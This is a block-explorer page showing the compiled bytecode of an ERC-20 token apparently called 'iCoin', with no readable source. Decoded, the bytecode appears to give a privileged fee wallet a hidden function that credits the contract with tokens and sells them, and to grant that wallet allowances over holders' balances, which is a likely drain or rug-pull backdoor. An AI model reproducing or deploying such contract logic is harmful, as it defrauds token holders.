5080821115612513576125126124b9565b5b92915050565b5f61252382611b19565b915061252e83611b19565b925082820261253c81611b19565b91508282048414831517612553576125526124b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61259182611b19565b915061259c83611b19565b9250826125ac576125ab61255a565b5b828204905092915050565b5f6125c182611b19565b91506125cc83611b19565b92508282039050818111156125e4576125e36124b9565b5b9291505056fea264697066735822122044ea36fcf5b5b7dd42e208605ecddb6625d88f2ecc6382f1985abdbbeb1c6e4564736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c806349bd5a5e116100895780638da5cb5b116100585780638da5cb5b146102c657806395d89b41146102f0578063a9059cbb1461031a578063dd62ed3e14610356576100f2565b806349bd5a5e1461023457806370a082311461025e578063715018a61461029a57806389c06bb0146102b0576100f2565b806318160ddd116100c557806318160ddd1461019a57806323b872dd146101c4578063293230b814610200578063313ce5671461020a576100f2565b806306b50197146100f657806306fdde031461011e578063095ea7b3146101485780630fdeb29214610184575b5f80fd5b348015610101575f80fd5b5061011c60048036038101906101179190611b4c565b610392565b005b348015610129575f80fd5b506101326104a4565b60405161013f9190611be7565b60405180910390f35b348015610153575f80fd5b5061016e60048036038101906101699190611c61565b6104e1565b60405161017b9190611cb9565b60405180910390f35b34801561018f575f80fd5b506101986104f7565b005b3480156101a5575f80fd5b506101ae610575565b6040516101bb9190611ce1565b60405180910390f35b3480156101cf575f80fd5b506101ea60048036038101906101e59190611cfa565b61057e565b6040516101f79190611cb9565b60405180910390f35b61020861062a565b005b348015610215575f80fd5b5061021e610a72565b60405161022b9190611d65565b60405180910390f35b34801561023f575f80fd5b50610248610a87565b6040516102559190611d8d565b60405180910390f35b348015610269575f80fd5b50610284600480360381019061027f9190611da6565b610aac565b6040516102919190611ce1565b60405180910390f35b3480156102a5575f80fd5b506102ae610af2565b005b3480156102bb575f80fd5b506102c4610c21565b005b3480156102d1575f80fd5b506102da610c9f565b6040516102e79190611d8d565b60405180910390f35b3480156102fb575f80fd5b50610304610cc6565b6040516103119190611be7565b60405180910390f35b348015610325575f80fd5b50610340600480360381019061033b9190611c61565b610d03565b60405161034d9190611cb9565b60405180910390f35b348015610361575f80fd5b5061037c60048036038101906103779190611dd1565b610d19565b6040516103899190611ce1565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ea575f80fd5b5f3090508160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506104975f8284610d9b565b6104a082610f52565b5050565b60606040518060400160405280600581526020017f69436f696e000000000000000000000000000000000000000000000000000000815250905090565b5f6104ed3384846111b2565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610516610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056390611e59565b60405180910390fd5b5f600781905550565b5f600154905090565b5f61058a848484611375565b61061f843361061a8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b6111b2565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610649610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461069f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069690611e59565b60405180910390fd5b600560159054906101000a900460ff16156106b8575f80fd5b6106e63060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546111b2565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611e8b565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108059190611e8b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161083f929190611eb6565b6020604051808303815f875af115801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190611e8b565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061090630610aac565b5f80610910610c9f565b426040518863ffffffff1660e01b815260040161093296959493929190611f1f565b60606040518083038185885af115801561094e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109739190611f92565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a13929190611fe2565b6020604051808303815f875af1158015610a2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a539190612033565b506001600560156101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610b11610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e90611e59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610c40610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90611e59565b60405180910390fd5b5f600881905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f69434f0000000000000000000000000000000000000000000000000000000000815250905090565b5f610d0f338484611375565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610deb8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015610eb657508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610f4d57610f0b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b6001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610f8957610f8861205e565b5b604051908082528060200260200182016040528015610fb75781602001602082028036833780820191505090505b50905030815f81518110610fce57610fcd61208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611072573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110969190611e8b565b816001815181106110aa576110a961208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016111679594939291906121c1565b5f604051808303815f87803b15801561117e575f80fd5b505af1158015611190573d5f803e3d5ffd5b50505050505f600560146101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113689190611ce1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da9061237f565b60405180910390fd5b5f8111611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c9061240d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a9061249b565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561151d575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611576575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115d6576115a360646115956007548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90506115d18360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118f4565b611601565b6115fe60646115f06008548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90505b5f81111561166f573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116669190611ce1565b60405180910390a35b6116bf8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117ee9190611ce1565b60405180910390a350505050565b5f61183d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a52565b905092915050565b5f80828461185391906124e6565b905083811015611861575f80fd5b8091505092915050565b5f80830361187b575f90506118a5565b5f82846118889190612519565b90508284826118979190612587565b146118a0575f80fd5b809150505b92915050565b5f6118ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ab4565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c790612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f838311158290611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a909190611be7565b60405180910390fd5b505f8385611aa791906125b7565b9050809150509392505050565b5f8083118290611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19190611be7565b60405180910390fd5b505f8385611b089190612587565b9050809150509392505050565b5f80fd5b5f819050919050565b611b2b81611b19565b8114611b35575f80fd5b50565b5f81359050611b4681611b22565b92915050565b5f60208284031215611b6157611b60611b15565b5b5f611b6e84828501611b38565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611bb982611b77565b611bc38185611b81565b9350611bd3818560208601611b91565b611bdc81611b9f565b840191505092915050565b5f6020820190508181035f830152611bff8184611baf565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c3082611c07565b9050919050565b611c4081611c26565b8114611c4a575f80fd5b50565b5f81359050611c5b81611c37565b92915050565b5f8060408385031215611c7757611c76611b15565b5b5f611c8485828601611c4d565b9250506020611c9585828601611b38565b9150509250929050565b5f8115159050919050565b611cb381611c9f565b82525050565b5f602082019050611ccc5f830184611caa565b92915050565b611cdb81611b19565b82525050565b5f602082019050611cf45f830184611cd2565b92915050565b5f805f60608486031215611d1157611d10611b15565b5b5f611d1e86828701611c4d565b9350506020611d2f86828701611c4d565b9250506040611d4086828701611b38565b9150509250925092565b5f60ff82169050919050565b611d5f81611d4a565b82525050565b5f602082019050611d785f830184611d56565b92915050565b611d8781611c26565b82525050565b5f602082019050611da05f830184611d7e565b92915050565b5f60208284031215611dbb57611dba611b15565b5b5f611dc884828501611c4d565b91505092915050565b5f8060408385031215611de757611de6611b15565b5b5f611df485828601611c4d565b9250506020611e0585828601611c4d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611e43602083611b81565b9150611e4e82611e0f565b602082019050919050565b5f6020820190508181035f830152611e7081611e37565b9050919050565b5f81519050611e8581611c37565b92915050565b5f60208284031215611ea057611e9f611b15565b5b5f611ead84828501611e77565b91505092915050565b5f604082019050611ec95f830185611d7e565b611ed66020830184611d7e565b9392505050565b5f819050919050565b5f819050919050565b5f611f09611f04611eff84611edd565b611ee6565b611b19565b9050919050565b611f1981611eef565b82525050565b5f60c082019050611f325f830189611d7e565b611f3f6020830188611cd2565b611f4c6040830187611f10565b611f596060830186611f10565b611f666080830185611d7e565b611f7360a0830184611cd2565b979650505050505050565b5f81519050611f8c81611b22565b92915050565b5f805f60608486031215611fa957611fa8611b15565b5b5f611fb686828701611f7e565b9350506020611fc786828701611f7e565b9250506040611fd886828701611f7e565b9150509250925092565b5f604082019050611ff55f830185611d7e565b6120026020830184611cd2565b9392505050565b61201281611c9f565b811461201c575f80fd5b50565b5f8151905061202d81612009565b92915050565b5f6020828403121561204857612047611b15565b5b5f6120558482850161201f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6120ea81611c26565b82525050565b5f6120fb83836120e1565b60208301905092915050565b5f602082019050919050565b5f61211d826120b8565b61212781856120c2565b9350612132836120d2565b805f5b8381101561216257815161214988826120f0565b975061215483612107565b925050600181019050612135565b5085935050505092915050565b5f61218961218461217f84611c07565b611ee6565b611c07565b9050919050565b5f61219a8261216f565b9050919050565b5f6121ab82612190565b9050919050565b6121bb816121a1565b82525050565b5f60a0820190506121d45f830188611cd2565b6121e16020830187611f10565b81810360408301526121f38186612113565b905061220260608301856121b2565b61220f6080830184611cd2565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612273602483611b81565b915061227e82612219565b604082019050919050565b5f6020820190508181035f8301526122a081612267565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612301602283611b81565b915061230c826122a7565b604082019050919050565b5f6020820190508181035f83015261232e816122f5565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f612369601e83611b81565b915061237482612335565b602082019050919050565b5f6020820190508181035f8301526123968161235d565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f6123f7602a83611b81565b91506124028261239d565b604082019050919050565b5f6020820190508181035f830152612424816123eb565b9050919050565b7f4552433a207472616e736665722066726f6d20746865207a65726f20616464725f8201527f6573732100000000000000000000000000000000000000000000000000000000602082015250565b5f612485602483611b81565b91506124908261242b565b604082019050919050565b5f6020820190508181035f8301526124b281612479565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6124f082611b19565b91506124fb83611b19565b9250828201905080821115612513576125126124b9565b5b92915050565b5f61252382611b19565b915061252e83611b19565b925082820261253c81611b19565b91508282048414831517612553576125526124b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61259182611b19565b915061259c83611b19565b9250826125ac576125ab61255a565b5b828204905092915050565b5f6125c182611b19565b91506125cc83611b19565b92508282039050818111156125e4576125e36124b9565b5b9291505056fea264697066735822122044ea36fcf5b5b7dd42e208605ecddb6625d88f2ecc6382f1985abdbbeb1c6e4564736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.